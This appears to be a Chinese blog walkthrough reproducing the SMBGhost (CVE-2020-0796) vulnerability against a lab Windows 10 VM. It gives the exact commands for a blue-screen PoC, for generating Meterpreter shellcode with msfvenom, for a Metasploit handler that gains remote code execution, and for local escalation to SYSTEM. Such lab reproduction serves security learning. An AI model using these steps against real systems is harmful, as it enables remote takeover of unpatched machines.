永恒之黑(CVE-2020-0796)漏洞复现

发布于 2022-02-23  2675 次阅读


  1. 漏洞原理:
    SMB远程代码执行漏洞
    SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
    Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。影响范围:
    Windows 10 Version 1903 for 32-bit Systems
    Windows 10 Version 1903 for x64-based Systems
    Windows 10 Version 1903 for ARM64-based Systems
    Windows Server, Version 1903 (Server Core installation)
    Windows 10 Version 1909 for 32-bit Systems
    Windows 10 Version 1909 for x64-based Systems
    Windows 10 Version 1909 for ARM64-based Systems
    Windows Server, Version 1909 (Server Core installation)
  2. 漏洞环境
    win10靶机(迅雷下载ed2k://|file|cn_windows_10_consumer_editions_version_1909_x64_dvd_76365bf8.iso|5381154816|6A56DE112B164EC054D1104C53F8F10B|/)
    漏洞检测工具
    蓝屏poc
    获得权限poc
  3. 实验一(蓝屏攻击)先打快照
    1. 下载并解压漏洞检测工具(cmd运行,172.17.120.1-172.17.120.254),发现172.17.120.73存在漏洞
    2. git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
      python3 setup.py install 安装依赖脚本环境
      python3 CVE-2020-0796.py 172.17.120.73 攻击 
  4. 实验二(远程利用获得权限)
    1. msfvenom  -p windows/x64/meterpreter/bind_tcp  lport=1234 -f py -o evil.py                 生产shellcode
    2. 将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。                    把产生的shellcode放入脚本的位置
    3. python3 exploit.py -ip 172.17.120.73
    4. use exploit/multi/handler
      set payload windows/x64/meterpreter/bind_tcp
      set lport 1234
      set rhost 172.17.120.73
      run
      获取不到就多试几遍4/5,获得权限后过段时间靶机可能会蓝屏
  5. 实验三(本地提权)
    1. https://github.com/danigargu/CVE-2020-0796
    2. 本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。
      摘自
子夜不哭
最后更新于 2022-02-23